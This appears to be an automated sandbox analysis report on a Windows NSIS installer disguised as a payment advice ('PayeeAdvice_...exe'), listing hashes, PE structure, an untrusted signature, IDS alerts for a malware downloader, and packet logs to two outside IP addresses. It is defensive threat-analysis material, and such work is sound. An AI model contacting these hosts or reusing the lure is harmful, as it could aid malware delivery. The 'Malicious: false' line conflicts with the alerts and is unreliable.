SHA-512:	6D4DC54EA8653AF4D088E8B058ED07F25F8E2B92571C688BDEBF32759DA813C34A3D5B9BCB1095619C67B5797B2881B2F227B8EA592BDCCB3870B1E8A40E1312
Malicious:	false
Preview:	......2.t................................................#................................(.................................C..(..................$.........................................................y................................................................................[...x.........................>................W.....................................................T....a........................................................H..................u...p.....!.............................................................................................q.....H.........l..K...............`..........R........................f..............................................................+......\.................V......................o.....C.....}...........l..........&............0........ ..n.......O.................q............\|......................................................_....9.......3....I.........G..............................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	7.656957338635434
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	PayeeAdvice_HK54912_R0038704_37504.exe
File size:	833'904 bytes
MD5:	a7071c7cf3999b13607413c36e8d5418
SHA1:	a4d955d14cfb368d93bc7083214b01dec4c90f2b
SHA256:	4cdbe754de2114be5f9ccf7e3f3d4f9f7f8fadc279e860bb1773aee0e2de4047
SHA512:	4680f4794735608e5594b72ed7c84e9f1af90119d76d541d3d4f27f188a1546e01d3a556d32319da58021ad886f03d67b0deae43e45b6d706b242287f9fe61ed
SSDEEP:	24576:/vYV0HT73uF4hi1qCCeFc2QCJgGNXk01vDxPVv7c:YOzaK6VcS5xhDxK
TLSH:	6A051282F5D4A16FF45284319142ED76DD6364303B6C595F77F77B2E9820282EB3822E
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......1.D9u.ju.ju.j..ujw.ju.+j..j..wjd.j!..j..j..,jt.jRichu.j........PE..L.....oS.................`.........Z3.......p....@

File Icon


Icon Hash:	4975784d4f49613b

Static PE Info

General

Entrypoint:	0x40335a
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x536FD79B [Sun May 11 20:03:39 2014 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	e221f4f7d36469d53810a4b5f9fc8966

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=Graculus, O=Graculus, L=Moras, C=FR
Signature Validation Error:	A certificate chain processed, but terminated in a root certificate which is not trusted by the trust provider
Error Number:	-2146762487
Not Before, Not After	06/05/2024 08:06:23 06/05/2027 08:06:23
Subject Chain	CN=Graculus, O=Graculus, L=Moras, C=FR
Version:	3
Thumbprint MD5:	009B6F199CD8EB1E40CA9C929DFF6C44
Thumbprint SHA-1:	0D47AEA68183F802C3457A0DC7C4EB45B00BD110
Thumbprint SHA-256:	99AD5764C91C1F5B205F46D09E160250AA309E332F0DB1CCE79275E57B57C244
Serial:	40602E8BAA71E676C5E0E341DF92F31F789140A8

Entrypoint Preview

Instruction
sub esp, 000002D4h
push ebx
push ebp
push esi
push edi
push 00000020h
xor ebp, ebp
pop esi
mov dword ptr [esp+14h], ebp
mov dword ptr [esp+10h], 00409230h
mov dword ptr [esp+1Ch], ebp
call dword ptr [00407034h]
push 00008001h
call dword ptr [004070BCh]
push ebp
call dword ptr [004072ACh]
push 00000008h
mov dword ptr [00429298h], eax
call 00007FD974B4CE3Ch
mov dword ptr [004291E4h], eax
push ebp
lea eax, dword ptr [esp+34h]
push 000002B4h
push eax
push ebp
push 00420690h
call dword ptr [0040717Ch]
push 0040937Ch
push 004281E0h
call 00007FD974B4CAA7h
call dword ptr [00407134h]
mov ebx, 00434000h
push eax
push ebx
call 00007FD974B4CA95h
push ebp
call dword ptr [0040710Ch]
cmp word ptr [00434000h], 0022h
mov dword ptr [004291E0h], eax
mov eax, ebx
jne 00007FD974B49F8Ah
push 00000022h
mov eax, 00434002h
pop esi
push esi
push eax
call 00007FD974B4C4E6h
push eax
call dword ptr [00407240h]
mov dword ptr [esp+18h], eax
jmp 00007FD974B4A04Eh
push 00000020h
pop edx
cmp cx, dx
jne 00007FD974B49F89h
inc eax
inc eax
cmp word ptr [eax], dx
je 00007FD974B49F7Bh
add word ptr [eax], 0000h

Rich Headers

Programming Language:

[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x7494	0xb4	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x53000	0x28c48	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0xc97b0	0x21c0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x7000	0x2b8	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x5e68	0x6000	2f6554958e1a5093777de617d6e0bffc	False	0.6566162109375	data	6.419811957742583	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x7000	0x1354	0x1400	2222fe44ebbadbc32af32dfc9c88e48e	False	0.4306640625	data	5.037511188789184	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x9000	0x202d8	0x600	9587277f9a9b39e2caf86eae07909d87	False	0.4733072916666667	data	3.757932017065988	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x2a000	0x29000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x53000	0x28c48	0x28e00	59d6061d9f9f5498351e74e1e9b8c526	False	0.4770761659021407	data	5.198121069162778	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_BITMAP	0x53400	0x368	Device independent bitmap graphic, 96 x 16 x 4, image size 768	English	United States	0.23623853211009174
RT_ICON	0x53768	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 65536	English	United States	0.4562433455577901
RT_ICON	0x63f90	0x94a8	Device independent bitmap graphic, 96 x 192 x 32, image size 36864	English	United States	0.4870191297035947
RT_ICON	0x6d438	0x5488	Device independent bitmap graphic, 72 x 144 x 32, image size 20736	English	United States	0.5106746765249538
RT_ICON	0x728c0	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16384	English	United States	0.5217879074161549
RT_ICON	0x76ae8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216	English	United States	0.5518672199170125
RT_ICON	0x79090	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096	English	United States	0.6116322701688556
RT_ICON	0x7a138	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2304	English	United States	0.6635245901639344
RT_ICON	0x7aac0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024	English	United States	0.7340425531914894
RT_DIALOG	0x7af28	0x144	data	English	United States	0.5216049382716049
RT_DIALOG	0x7b070	0x13c	data	English	United States	0.5506329113924051
RT_DIALOG	0x7b1b0	0x120	data	English	United States	0.5173611111111112
RT_DIALOG	0x7b2d0	0x11c	data	English	United States	0.6056338028169014
RT_DIALOG	0x7b3f0	0xc4	data	English	United States	0.5918367346938775
RT_DIALOG	0x7b4b8	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0x7b518	0x76	data	English	United States	0.7542372881355932
RT_VERSION	0x7b590	0x3ac	data	English	United States	0.4521276595744681
RT_MANIFEST	0x7b940	0x305	XML 1.0 document, ASCII text, with very long lines (773), with no line terminators	English	United States	0.5614489003880984

Imports

DLL	Import
KERNEL32.dll	CompareFileTime, SearchPathW, SetFileTime, CloseHandle, GetShortPathNameW, MoveFileW, SetCurrentDirectoryW, GetFileAttributesW, GetLastError, GetFullPathNameW, CreateDirectoryW, Sleep, GetTickCount, CreateFileW, GetFileSize, GetModuleFileNameW, GetCurrentProcess, CopyFileW, ExitProcess, SetEnvironmentVariableW, GetWindowsDirectoryW, SetFileAttributesW, ExpandEnvironmentStringsW, SetErrorMode, LoadLibraryW, lstrlenW, lstrcpynW, GetDiskFreeSpaceW, GlobalUnlock, GlobalLock, CreateThread, CreateProcessW, RemoveDirectoryW, lstrcmpiA, GetTempFileNameW, lstrcpyA, lstrcpyW, lstrcatW, GetSystemDirectoryW, GetVersion, GetProcAddress, LoadLibraryA, GetModuleHandleA, GetModuleHandleW, lstrcmpiW, lstrcmpW, WaitForSingleObject, GlobalFree, GlobalAlloc, LoadLibraryExW, GetExitCodeProcess, FreeLibrary, WritePrivateProfileStringW, GetCommandLineW, GetTempPathW, GetPrivateProfileStringW, FindFirstFileW, FindNextFileW, DeleteFileW, SetFilePointer, ReadFile, FindClose, MulDiv, MultiByteToWideChar, WriteFile, lstrlenA, WideCharToMultiByte
USER32.dll	EndDialog, ScreenToClient, GetWindowRect, RegisterClassW, EnableMenuItem, GetSystemMenu, SetClassLongW, IsWindowEnabled, SetWindowPos, GetSysColor, GetWindowLongW, SetCursor, LoadCursorW, CheckDlgButton, GetMessagePos, LoadBitmapW, CallWindowProcW, IsWindowVisible, CloseClipboard, SetClipboardData, wsprintfW, CreateWindowExW, SystemParametersInfoW, AppendMenuW, CreatePopupMenu, GetSystemMetrics, SetDlgItemTextW, GetDlgItemTextW, MessageBoxIndirectW, CharPrevW, CharNextA, wsprintfA, DispatchMessageW, PeekMessageW, ReleaseDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, GetClientRect, FillRect, DrawTextW, GetClassInfoW, DialogBoxParamW, CharNextW, ExitWindowsEx, DestroyWindow, CreateDialogParamW, SetTimer, SetWindowTextW, PostQuitMessage, GetDC, SetWindowLongW, LoadImageW, SendMessageTimeoutW, FindWindowExW, EmptyClipboard, OpenClipboard, TrackPopupMenu, EndPaint, ShowWindow, GetDlgItem, IsWindow, SetForegroundWindow
GDI32.dll	SelectObject, SetBkMode, CreateFontIndirectW, SetTextColor, DeleteObject, GetDeviceCaps, CreateBrushIndirect, SetBkColor
SHELL32.dll	SHGetSpecialFolderLocation, SHGetPathFromIDListW, SHBrowseForFolderW, SHGetFileInfoW, ShellExecuteW, SHFileOperationW
ADVAPI32.dll	RegCloseKey, RegOpenKeyExW, RegDeleteKeyW, RegDeleteValueW, RegEnumValueW, RegCreateKeyExW, RegSetValueExW, RegQueryValueExW, RegEnumKeyW
COMCTL32.dll	ImageList_Create, ImageList_AddMasked, ImageList_Destroy
ole32.dll	CoCreateInstance, CoTaskMemFree, OleInitialize, OleUninitialize
VERSION.dll	GetFileVersionInfoSizeW, GetFileVersionInfoW, VerQueryValueW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-16T16:51:16.029541+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.5	51066	158.101.44.242	80	TCP
2024-11-16T16:51:17.326339+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.5	51066	158.101.44.242	80	TCP
2024-11-16T16:51:18.035886+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	51068	188.114.97.3	443	TCP
2024-11-16T16:51:18.732541+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.5	51069	158.101.44.242	80	TCP
2024-11-16T16:51:20.955066+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	51072	188.114.97.3	443	TCP
2024-11-16T16:51:22.783425+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	51074	188.114.97.3	443	TCP
2024-11-16T16:51:24.205191+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	51076	188.114.97.3	443	TCP
2024-11-16T16:51:25.870768+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	51078	188.114.97.3	443	TCP
2024-11-16T16:51:28.771956+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	51082	188.114.97.3	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 16, 2024 16:51:15.181293964 CET	51066	80	192.168.2.5	158.101.44.242
Nov 16, 2024 16:51:15.186234951 CET	80	51066	158.101.44.242	192.168.2.5
Nov 16, 2024 16:51:15.186316967 CET	51066	80	192.168.2.5	158.101.44.242
Nov 16, 2024 16:51:15.186537027 CET	51066	80	192.168.2.5	158.101.44.242
Nov 16, 2024 16:51:15.191307068 CET	80	51066	158.101.44.242	192.168.2.5
Nov 16, 2024 16:51:15.831510067 CET	80	51066	158.101.44.242	192.168.2.5
Nov 16, 2024 16:51:15.835869074 CET	51066	80	192.168.2.5	158.101.44.242
Nov 16, 2024 16:51:15.840840101 CET	80	51066	158.101.44.242	192.168.2.5
Nov 16, 2024 16:51:15.983059883 CET	80	51066	158.101.44.242	192.168.2.5
Nov 16, 2024 16:51:16.029541016 CET	51066	80	192.168.2.5	158.101.44.242
Nov 16, 2024 16:51:16.310859919 CET	51067	443	192.168.2.5	188.114.97.3
Nov 16, 2024 16:51:16.310882092 CET	443	51067	188.114.97.3	192.168.2.5
Nov 16, 2024 16:51:16.310965061 CET	51067	443	192.168.2.5	188.114.97.3
Nov 16, 2024 16:51:16.314225912 CET	51067	443	192.168.2.5	188.114.97.3
Nov 16, 2024 16:51:16.314241886 CET	443	51067	188.114.97.3	192.168.2.5
Nov 16, 2024 16:51:16.924494982 CET	443	51067	188.114.97.3	192.168.2.5
Nov 16, 2024 16:51:16.924592018 CET	51067	443	192.168.2.5	188.114.97.3
Nov 16, 2024 16:51:16.928442955 CET	51067	443	192.168.2.5	188.114.97.3
Nov 16, 2024 16:51:16.928473949 CET	443	51067	188.114.97.3	192.168.2.5
Nov 16, 2024 16:51:16.928968906 CET	443	51067	188.114.97.3	192.168.2.5
Nov 16, 2024 16:51:16.933105946 CET	51067	443	192.168.2.5	188.114.97.3
Nov 16, 2024 16:51:16.979332924 CET	443	51067	188.114.97.3	192.168.2.5
Nov 16, 2024 16:51:17.119944096 CET	443	51067	188.114.97.3	192.168.2.5
Nov 16, 2024 16:51:17.120007992 CET	443	51067	188.114.97.3	192.168.2.5
Nov 16, 2024 16:51:17.120271921 CET	51067	443	192.168.2.5	188.114.97.3
Nov 16, 2024 16:51:17.127296925 CET	51067	443	192.168.2.5	188.114.97.3
Nov 16, 2024 16:51:17.133250952 CET	51066	80	192.168.2.5	158.101.44.242
Nov 16, 2024 16:51:17.139435053 CET	80	51066	158.101.44.242	192.168.2.5
Nov 16, 2024 16:51:17.281337023 CET	80	51066	158.101.44.242	192.168.2.5
Nov 16, 2024 16:51:17.284463882 CET	51068	443	192.168.2.5	188.114.97.3
Nov 16, 2024 16:51:17.284559011 CET	443	51068	188.114.97.3	192.168.2.5
Nov 16, 2024 16:51:17.284638882 CET	51068	443	192.168.2.5	188.114.97.3
Nov 16, 2024 16:51:17.284912109 CET	51068	443	192.168.2.5	188.114.97.3
Nov 16, 2024 16:51:17.284949064 CET	443	51068	188.114.97.3	192.168.2.5
Nov 16, 2024 16:51:17.326339006 CET	51066	80	192.168.2.5	158.101.44.242
Nov 16, 2024 16:51:17.890126944 CET	443	51068	188.114.97.3	192.168.2.5
Nov 16, 2024 16:51:17.895359039 CET	51068	443	192.168.2.5	188.114.97.3
Nov 16, 2024 16:51:17.895445108 CET	443	51068	188.114.97.3	192.168.2.5
Nov 16, 2024 16:51:18.035876989 CET	443	51068	188.114.97.3	192.168.2.5
Nov 16, 2024 16:51:18.035962105 CET	443	51068	188.114.97.3	192.168.2.5
Nov 16, 2024 16:51:18.036030054 CET	51068	443	192.168.2.5	188.114.97.3
Nov 16, 2024 16:51:18.036473989 CET	51068	443	192.168.2.5	188.114.97.3
Nov 16, 2024 16:51:18.039686918 CET	51066	80	192.168.2.5	158.101.44.242
Nov 16, 2024 16:51:18.040797949 CET	51069	80	192.168.2.5	158.101.44.242
Nov 16, 2024 16:51:18.045103073 CET	80	51066	158.101.44.242	192.168.2.5
Nov 16, 2024 16:51:18.045891047 CET	80	51069	158.101.44.242	192.168.2.5
Nov 16, 2024 16:51:18.045960903 CET	51066	80	192.168.2.5	158.101.44.242
Nov 16, 2024 16:51:18.045985937 CET	51069	80	192.168.2.5	158.101.44.242
Nov 16, 2024 16:51:18.046087027 CET	51069	80	192.168.2.5	158.101.44.242
Nov 16, 2024 16:51:18.050954103 CET	80	51069	158.101.44.242	192.168.2.5
Nov 16, 2024 16:51:18.684346914 CET	80	51069	158.101.44.242	192.168.2.5
Nov 16, 2024 16:51:18.685909986 CET	51070	443	192.168.2.5	188.114.97.3
Nov 16, 2024 16:51:18.686011076 CET	443	51070	188.114.97.3	192.168.2.5
Nov 16, 2024 16:51:18.686175108 CET	51070	443	192.168.2.5	188.114.97.3
Nov 16, 2024 16:51:18.686533928 CET	51070	443	192.168.2.5	188.114.97.3
Nov 16, 2024 16:51:18.686615944 CET	443	51070	188.114.97.3	192.168.2.5
Nov 16, 2024 16:51:18.732541084 CET	51069	80	192.168.2.5	158.101.44.242
Nov 16, 2024 16:51:19.309258938 CET	443	51070	188.114.97.3	192.168.2.5
Nov 16, 2024 16:51:19.310945988 CET	51070	443	192.168.2.5	188.114.97.3
Nov 16, 2024 16:51:19.311028957 CET	443	51070	188.114.97.3	192.168.2.5
Nov 16, 2024 16:51:19.460295916 CET	443	51070	188.114.97.3	192.168.2.5
Nov 16, 2024 16:51:19.460468054 CET	443	51070	188.114.97.3	192.168.2.5
Nov 16, 2024 16:51:19.460644960 CET	51070	443	192.168.2.5	188.114.97.3
Nov 16, 2024 16:51:19.460936069 CET	51070	443	192.168.2.5	188.114.97.3
Nov 16, 2024 16:51:19.465367079 CET	51071	80	192.168.2.5	158.101.44.242
Nov 16, 2024 16:51:19.470397949 CET	80	51071	158.101.44.242	192.168.2.5
Nov 16, 2024 16:51:19.470498085 CET	51071	80	192.168.2.5	158.101.44.242
Nov 16, 2024 16:51:19.470623016 CET	51071	80	192.168.2.5	158.101.44.242
Nov 16, 2024 16:51:19.475747108 CET	80	51071	158.101.44.242	192.168.2.5
Nov 16, 2024 16:51:20.201165915 CET	80	51071	158.101.44.242	192.168.2.5
Nov 16, 2024 16:51:20.202604055 CET	51072	443	192.168.2.5	188.114.97.3
Nov 16, 2024 16:51:20.202656031 CET	443	51072	188.114.97.3	192.168.2.5
Nov 16, 2024 16:51:20.202732086 CET	51072	443	192.168.2.5	188.114.97.3
Nov 16, 2024 16:51:20.202986002 CET	51072	443	192.168.2.5	188.114.97.3
Nov 16, 2024 16:51:20.203002930 CET	443	51072	188.114.97.3	192.168.2.5
Nov 16, 2024 16:51:20.248157978 CET	51071	80	192.168.2.5	158.101.44.242
Nov 16, 2024 16:51:20.815850973 CET	443	51072	188.114.97.3	192.168.2.5
Nov 16, 2024 16:51:20.817601919 CET	51072	443	192.168.2.5	188.114.97.3
Nov 16, 2024 16:51:20.817652941 CET	443	51072	188.114.97.3	192.168.2.5
Nov 16, 2024 16:51:20.955096960 CET	443	51072	188.114.97.3	192.168.2.5
Nov 16, 2024 16:51:20.955262899 CET	443	51072	188.114.97.3	192.168.2.5
Nov 16, 2024 16:51:20.955333948 CET	51072	443	192.168.2.5	188.114.97.3
Nov 16, 2024 16:51:20.955760002 CET	51072	443	192.168.2.5	188.114.97.3
Nov 16, 2024 16:51:20.959542990 CET	51071	80	192.168.2.5	158.101.44.242
Nov 16, 2024 16:51:20.960616112 CET	51073	80	192.168.2.5	158.101.44.242
Nov 16, 2024 16:51:20.964756966 CET	80	51071	158.101.44.242	192.168.2.5
Nov 16, 2024 16:51:20.964827061 CET	51071	80	192.168.2.5	158.101.44.242
Nov 16, 2024 16:51:20.965456963 CET	80	51073	158.101.44.242	192.168.2.5
Nov 16, 2024 16:51:20.965536118 CET	51073	80	192.168.2.5	158.101.44.242
Nov 16, 2024 16:51:20.965598106 CET	51073	80	192.168.2.5	158.101.44.242
Nov 16, 2024 16:51:20.970380068 CET	80	51073	158.101.44.242	192.168.2.5
Nov 16, 2024 16:51:21.615936041 CET	80	51073	158.101.44.242	192.168.2.5
Nov 16, 2024 16:51:21.617311954 CET	51074	443	192.168.2.5	188.114.97.3
Nov 16, 2024 16:51:21.617410898 CET	443	51074	188.114.97.3	192.168.2.5
Nov 16, 2024 16:51:21.617522955 CET	51074	443	192.168.2.5	188.114.97.3
Nov 16, 2024 16:51:21.617826939 CET	51074	443	192.168.2.5	188.114.97.3
Nov 16, 2024 16:51:21.617851973 CET	443	51074	188.114.97.3	192.168.2.5
Nov 16, 2024 16:51:21.670039892 CET	51073	80	192.168.2.5	158.101.44.242
Nov 16, 2024 16:51:22.469273090 CET	443	51074	188.114.97.3	192.168.2.5
Nov 16, 2024 16:51:22.506067038 CET	51074	443	192.168.2.5	188.114.97.3
Nov 16, 2024 16:51:22.506160975 CET	443	51074	188.114.97.3	192.168.2.5
Nov 16, 2024 16:51:22.783333063 CET	443	51074	188.114.97.3	192.168.2.5
Nov 16, 2024 16:51:22.783505917 CET	443	51074	188.114.97.3	192.168.2.5
Nov 16, 2024 16:51:22.783601999 CET	51074	443	192.168.2.5	188.114.97.3
Nov 16, 2024 16:51:22.784121990 CET	51074	443	192.168.2.5	188.114.97.3
Nov 16, 2024 16:51:22.791536093 CET	51073	80	192.168.2.5	158.101.44.242
Nov 16, 2024 16:51:22.792325020 CET	51075	80	192.168.2.5	158.101.44.242
Nov 16, 2024 16:51:22.798141003 CET	80	51073	158.101.44.242	192.168.2.5
Nov 16, 2024 16:51:22.798211098 CET	51073	80	192.168.2.5	158.101.44.242
Nov 16, 2024 16:51:22.798717022 CET	80	51075	158.101.44.242	192.168.2.5
Nov 16, 2024 16:51:22.798778057 CET	51075	80	192.168.2.5	158.101.44.242
Nov 16, 2024 16:51:22.802042961 CET	51075	80	192.168.2.5	158.101.44.242
Nov 16, 2024 16:51:22.806941032 CET	80	51075	158.101.44.242	192.168.2.5
Nov 16, 2024 16:51:23.446093082 CET	80	51075	158.101.44.242	192.168.2.5
Nov 16, 2024 16:51:23.447832108 CET	51076	443	192.168.2.5	188.114.97.3
Nov 16, 2024 16:51:23.447923899 CET	443	51076	188.114.97.3	192.168.2.5
Nov 16, 2024 16:51:23.448040962 CET	51076	443	192.168.2.5	188.114.97.3
Nov 16, 2024 16:51:23.448363066 CET	51076	443	192.168.2.5	188.114.97.3
Nov 16, 2024 16:51:23.448411942 CET	443	51076	188.114.97.3	192.168.2.5
Nov 16, 2024 16:51:23.498147964 CET	51075	80	192.168.2.5	158.101.44.242
Nov 16, 2024 16:51:24.051137924 CET	443	51076	188.114.97.3	192.168.2.5
Nov 16, 2024 16:51:24.053325891 CET	51076	443	192.168.2.5	188.114.97.3
Nov 16, 2024 16:51:24.053414106 CET	443	51076	188.114.97.3	192.168.2.5
Nov 16, 2024 16:51:24.205102921 CET	443	51076	188.114.97.3	192.168.2.5
Nov 16, 2024 16:51:24.205301046 CET	443	51076	188.114.97.3	192.168.2.5
Nov 16, 2024 16:51:24.205502033 CET	51076	443	192.168.2.5	188.114.97.3
Nov 16, 2024 16:51:24.205883980 CET	51076	443	192.168.2.5	188.114.97.3
Nov 16, 2024 16:51:24.210468054 CET	51075	80	192.168.2.5	158.101.44.242
Nov 16, 2024 16:51:24.211940050 CET	51077	80	192.168.2.5	158.101.44.242
Nov 16, 2024 16:51:24.215898037 CET	80	51075	158.101.44.242	192.168.2.5
Nov 16, 2024 16:51:24.216095924 CET	51075	80	192.168.2.5	158.101.44.242
Nov 16, 2024 16:51:24.216924906 CET	80	51077	158.101.44.242	192.168.2.5
Nov 16, 2024 16:51:24.217010975 CET	51077	80	192.168.2.5	158.101.44.242
Nov 16, 2024 16:51:24.217120886 CET	51077	80	192.168.2.5	158.101.44.242
Nov 16, 2024 16:51:24.222135067 CET	80	51077	158.101.44.242	192.168.2.5
Nov 16, 2024 16:51:25.112025976 CET	80	51077	158.101.44.242	192.168.2.5
Nov 16, 2024 16:51:25.113881111 CET	51078	443	192.168.2.5	188.114.97.3
Nov 16, 2024 16:51:25.113976002 CET	443	51078	188.114.97.3	192.168.2.5
Nov 16, 2024 16:51:25.114228964 CET	51078	443	192.168.2.5	188.114.97.3
Nov 16, 2024 16:51:25.114720106 CET	51078	443	192.168.2.5	188.114.97.3
Nov 16, 2024 16:51:25.114770889 CET	443	51078	188.114.97.3	192.168.2.5
Nov 16, 2024 16:51:25.154552937 CET	51077	80	192.168.2.5	158.101.44.242
Nov 16, 2024 16:51:25.723787069 CET	443	51078	188.114.97.3	192.168.2.5
Nov 16, 2024 16:51:25.726223946 CET	51078	443	192.168.2.5	188.114.97.3
Nov 16, 2024 16:51:25.726315975 CET	443	51078	188.114.97.3	192.168.2.5
Nov 16, 2024 16:51:25.870665073 CET	443	51078	188.114.97.3	192.168.2.5
Nov 16, 2024 16:51:25.870829105 CET	443	51078	188.114.97.3	192.168.2.5
Nov 16, 2024 16:51:25.871107101 CET	51078	443	192.168.2.5	188.114.97.3
Nov 16, 2024 16:51:25.871651888 CET	51078	443	192.168.2.5	188.114.97.3
Nov 16, 2024 16:51:25.876631021 CET	51077	80	192.168.2.5	158.101.44.242
Nov 16, 2024 16:51:25.878222942 CET	51079	80	192.168.2.5	158.101.44.242
Nov 16, 2024 16:51:25.881886959 CET	80	51077	158.101.44.242	192.168.2.5
Nov 16, 2024 16:51:25.881967068 CET	51077	80	192.168.2.5	158.101.44.242
Nov 16, 2024 16:51:25.883105040 CET	80	51079	158.101.44.242	192.168.2.5
Nov 16, 2024 16:51:25.883188009 CET	51079	80	192.168.2.5	158.101.44.242
Nov 16, 2024 16:51:25.883302927 CET	51079	80	192.168.2.5	158.101.44.242
Nov 16, 2024 16:51:25.888205051 CET	80	51079	158.101.44.242	192.168.2.5
Nov 16, 2024 16:51:26.523466110 CET	80	51079	158.101.44.242	192.168.2.5
Nov 16, 2024 16:51:26.525140047 CET	51080	443	192.168.2.5	188.114.97.3
Nov 16, 2024 16:51:26.525197029 CET	443	51080	188.114.97.3	192.168.2.5
Nov 16, 2024 16:51:26.525425911 CET	51080	443	192.168.2.5	188.114.97.3
Nov 16, 2024 16:51:26.525674105 CET	51080	443	192.168.2.5	188.114.97.3
Nov 16, 2024 16:51:26.525701046 CET	443	51080	188.114.97.3	192.168.2.5
Nov 16, 2024 16:51:26.576278925 CET	51079	80	192.168.2.5	158.101.44.242
Nov 16, 2024 16:51:27.148324013 CET	443	51080	188.114.97.3	192.168.2.5
Nov 16, 2024 16:51:27.150336981 CET	51080	443	192.168.2.5	188.114.97.3
Nov 16, 2024 16:51:27.150382042 CET	443	51080	188.114.97.3	192.168.2.5
Nov 16, 2024 16:51:27.297992945 CET	443	51080	188.114.97.3	192.168.2.5
Nov 16, 2024 16:51:27.298192978 CET	443	51080	188.114.97.3	192.168.2.5
Nov 16, 2024 16:51:27.298444986 CET	51080	443	192.168.2.5	188.114.97.3
Nov 16, 2024 16:51:27.327302933 CET	51080	443	192.168.2.5	188.114.97.3
Nov 16, 2024 16:51:27.331484079 CET	51079	80	192.168.2.5	158.101.44.242
Nov 16, 2024 16:51:27.332583904 CET	51081	80	192.168.2.5	158.101.44.242
Nov 16, 2024 16:51:27.337248087 CET	80	51079	158.101.44.242	192.168.2.5
Nov 16, 2024 16:51:27.337451935 CET	51079	80	192.168.2.5	158.101.44.242
Nov 16, 2024 16:51:27.337485075 CET	80	51081	158.101.44.242	192.168.2.5
Nov 16, 2024 16:51:27.337552071 CET	51081	80	192.168.2.5	158.101.44.242
Nov 16, 2024 16:51:27.337636948 CET	51081	80	192.168.2.5	158.101.44.242
Nov 16, 2024 16:51:27.342406988 CET	80	51081	158.101.44.242	192.168.2.5
Nov 16, 2024 16:51:27.984122038 CET	80	51081	158.101.44.242	192.168.2.5
Nov 16, 2024 16:51:28.019134045 CET	51082	443	192.168.2.5	188.114.97.3
Nov 16, 2024 16:51:28.019180059 CET	443	51082	188.114.97.3	192.168.2.5
Nov 16, 2024 16:51:28.019282103 CET	51082	443	192.168.2.5	188.114.97.3
Nov 16, 2024 16:51:28.019648075 CET	51082	443	192.168.2.5	188.114.97.3
Nov 16, 2024 16:51:28.019690990 CET	443	51082	188.114.97.3	192.168.2.5
